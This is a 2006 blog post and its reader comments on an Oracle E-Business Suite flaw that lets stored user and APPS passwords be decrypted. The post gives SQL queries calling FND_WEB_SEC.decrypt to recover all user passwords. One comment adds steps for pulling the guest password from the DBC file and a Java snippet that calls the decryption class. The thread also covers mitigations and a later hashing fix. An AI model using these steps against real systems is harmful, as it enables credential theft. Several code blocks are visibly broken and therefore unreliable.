News, views, tips and tricks on Oracle and other fun stuff

Oracle E-Business Suite Vulnerability: Users Passwords Decrypted

Johan Louwers published an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user:

  SQL> desc fnd_user;
   Name                                      Null?    Type
   ----------------------------------------- -------- ----------------

   USER_ID                                   NOT NULL NUMBER(15)
   USER_NAME                                 NOT NULL VARCHAR2(100)
   LAST_UPDATE_DATE                          NOT NULL DATE
   LAST_UPDATED_BY                           NOT NULL NUMBER(15)
   CREATION_DATE                             NOT NULL DATE
   CREATED_BY                                NOT NULL NUMBER(15)
   LAST_UPDATE_LOGIN                                  NUMBER(15)

The column ENCRYPTED_USER_PASSWORD stores the encrypted value of the user’s password. The column ENCRYPTED_FOUNDATION_PASSWORD stores the encrypted value of the guest user.

To decrypt the ENCRYPTED_USER_PASSWORD you need access to the DECRYPT function in the APPS.FND_WEB_SEC package. Since DECRYPT is a private function, you need to add the declaration of this function to the package specification so that you can use it outside the package.

FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2)


So, the first step in the decryption of a user’s password is to decrypt the ENCRYPTED_FOUNDATION_PASSWORD. This can be accomplished by executing the following query:

  WITH guest AS
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                - 1
                       ) user_name
            FROM DUAL)
  SELECT fnd_web_sec.decrypt (guest.user_pwd,
                             ) apps_password
    FROM fnd_user,
   WHERE fnd_user.user_name = guest.user_name

Now, using the above query, we can now decrypt all the values in the FND_USER.ENCRYPTED_USER_PASSWORD column:

  WITH guest AS
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                - 1
                       ) user_name
            FROM DUAL)
  SELECT   fnd_user.user_name,
              ((SELECT fnd_web_sec.decrypt
                                         ) apps_password
                  FROM fnd_user,
                 WHERE fnd_user.user_name = guest.user_name),
              ) decrypted_user_password
      FROM fnd_user
  ORDER BY fnd_user.user_name


Of course, in order for the above queries to work, you have to have the privilege to modify and compile the package APPS.FND_WEB_SEC. Assuming that you do have this privilege on a development instance and assuming that passwords are not reset when a development instance is refreshed from a production instance, this can represent a serious security risk.

Updated a few hours later: Stephen Kost just blogged about this subject. He writes that since the decryption routine is a Java class, it is actually easy to create a Java application that calls the decrypt method. So, no need to even have access to a database to run the decrypt. Moreover, he does not expect Oracle to fix this password weakness in the foreseeable future. He also offers a few recommendations to improve the security of the user passwords, like making sure that APPLSYSPUB does not have SELECT privileges on APPS.FND_USER_VIEW, changing the passwords for all Oracle Applications 11i seeded accounts, creating all new user accounts with strong and unique passwords and limiting access to the APPLSYS.FND_USER and APPLSYS.FND_ORACLE_USERID tables by all non-DBA accounts.

Updated January 9 2007: Oracle Applications Password Decryption (PDF)

Filed in Oracle, Security on 12 Dec 06 | Tags: ,

Reader's Comments

  1. |

    To be fair, the Java classes do have file permissions, so you would have to be a part of that OS group (or the OS user itself) in order to load them. So you’ve already had a breach in OS security at that point.

    For the database side, you have to have access to the package, so that would already be a database security breach, like you said.

    I’m not sure it’s a security problem. It’s unsettling, for sure, but is it a security problem?

  2. |

    Since I have the APPS password on our development environment, I was able to change the FND_WEB_SEC package and run the query above. I now have the passwords for ALL the users on our development instance. These passwords happen to be the same in production, since our development instance is a clone of production.

    So, simply, if you know passwords that you should not have known in the first place, I believe that this constitutes a security breach and can be categorized as a problem.

    However, in this particular case, the APPS password holds the key to all other passwords. And the assumption is that whoever has the APPS password (and the associated privileges) is or should be a trusted person.

  3. |

    We cannot say for this that is bug. In addition to this, secuirty itself is not only software way. While you’re clonning the envrionments, you simply re-set the all passwords with a dummy password, you cleam all outputs.

    This should be part of the secuirty.

    But it was good to have such a code sample. Thanks

  4. |

    I was wondering how many people knew about this. The bigger issue to me is that if you know an application username / password and can read from the fnd_user table then you can find out the apps password.

    Worse still using these techniques you can comprimise the apps password through a fairly unpriviledged account.

  5. |

    I had raised this as an issue with Oracle well over a year ago. I was told that it was not a security issue, since it required significant amount of database access to exploit.

  6. |

    Acctualt you dont need to know apps password to get users password. You can get all users password only knowing a user password.

    For example with your ERP user you can get the apps password then you can get any user’s password.

    I’ve coded an application (at 2005) then use the javaclass and it gets apps password then login with this password just like Oracle Discoverer.

  7. |

    hi. in which schema in oracle i can find the fnd_user table?and FND_WEB_SEC package?

  8. |

    zokho, fnd_user is in applsys and fnd_web_sec is in apps.

  9. |

    hi again im using oracle 9i. i cant find any appsys schema in my oracle to have access to fnd_user and fnd_web_sec package!! in which oracle version i can have have appsys schema??? or are there any table like fnd_user and package fnd_web_sec in oracle 9i?

  10. |

    Zokho, this is related to the Oracle E-Business Suite (EBS). If you do not have EBS, this does not apply to you.

  11. |

    hello eddie i have an oracle 9i and one of my assignment in university is that how to decrypt users’ password in oracle so i ve read several guides related to topic and i found that i should have a table in my oracle which is named fnd_user!!! is there any other approach to decrypt passwords in oracle 9i? thank u best regards

  12. |

    zokho, Here is the documentation for Data Encryption Using DBMS_OBFUSCATION_TOOLKIT in 9i.

    You may also want to visit and ask your questions there. Usually, you will get a faster response there.

  13. |

    Mehmet, How do you get the apps password through a user account? I have a need for a custom application, the users need to login using Oracle e-business password and then I need the apps database password to start the session just like Discoverer. Any pointers on this one, would greatly appreciate.

    Thanks Nilesh

  14. |

    Using Mehmet’s Java source as an example I have created Oracle E-Business Suite authentication plugin in Ruby. You can use this plugin for Ruby on Rails applications that want to use Oracle EBS users and passwords for authentication. Or you can use this as an example how to decrypt Oracle EBS user passwords in Ruby :)

  15. |

    It looks like there may be a fix for this vulnerability. Note: 457166.1 talks about a new option for FNDCPASS available in 11.5.10 RUP 6 and 12.0.4 to migrate user to a non-reversible hash password scheme. I haven’t tried it yet to verify it, but it sounds like doing that will close off this vulnerability


  16. |

    I had a look on the new modified Java class that this patch delivers.

    As Oracle has written in the patch description now user passwords are stored in the following way: 1) at first SHA digest is made from user password 2) and then SHA digest is encrypted with APPS password and stored in encrypted_user_password column

    When password verification is done then 1) encrypted_user_password is decrypted with APPS password 2) SHA1 of user password is compared with decrypted result

    So it means that it will not be possible to find out all user passwords using APPS password as decryption key.

    But as it seems to me if you will have SQL access to the database and if you will have at least one EBS login and password for this database then you will still be able to get APPS password.

  17. |

    Hi! Ewad,

    If i am normal os user on system and have select any table privilege or select privilege on fnd_user table. I can easily break all the passwords even if i donot know the installation directory of oracle apps.

    1. First step is to get guest user password

    do the ps and try to find Ddbcfile ps -eaf|grep Ddbcfile from there you can get the FND_TOP location and DBCFILE location. The DBC file readable by all and there is plain text entry for guest user password.

    1. Now you can easily set the classpath as you the APPL_TOP location and OAH_TOP location from ps command above /usr/local/j2sdk1.4.2_15/jre/lib/rt.jar:/usr/local/j2sdk1.4.2_15/lib/dt.jar:/usr/local/j2sdk1.4.2_15/lib/tools.jar:/usr/local/j2sdk1.4.2_15/jre/lib/charsets.jar:/usr02/app/applebid/admin/ebid/java/

    2. Now write a simple Java code

    public class GetPassword { public static void main(String[] args) {

            String appspassword=new String();
        String guest_pwd=new String();
         String userpass=new String();
       String  encrypted_foundation_passsword=new String();
        String  encrypted_passsword=new String();
          guest_pwd="GUEST/ORACE";                                        /*   fvalue got from dbc file  */
           encrypted_foundation_passsword="fafasfafafaf";    /*  value got from fnd_user table for GUEST user */
          encrypted_passsword="rfsfsfsafsfsfsf";                     /*  value got from fnd_user table for given  user */
             appspassword=, encrypted_foundation_passsword);
                System.out.println("user password:"+userpass);
         System.out.println(" apps password:"+appspassword);


    1. compile and run and you will get the user and apps password.
  18. |

    Hi braj can you give a link of the final exxecutable that you mentioned? Thank you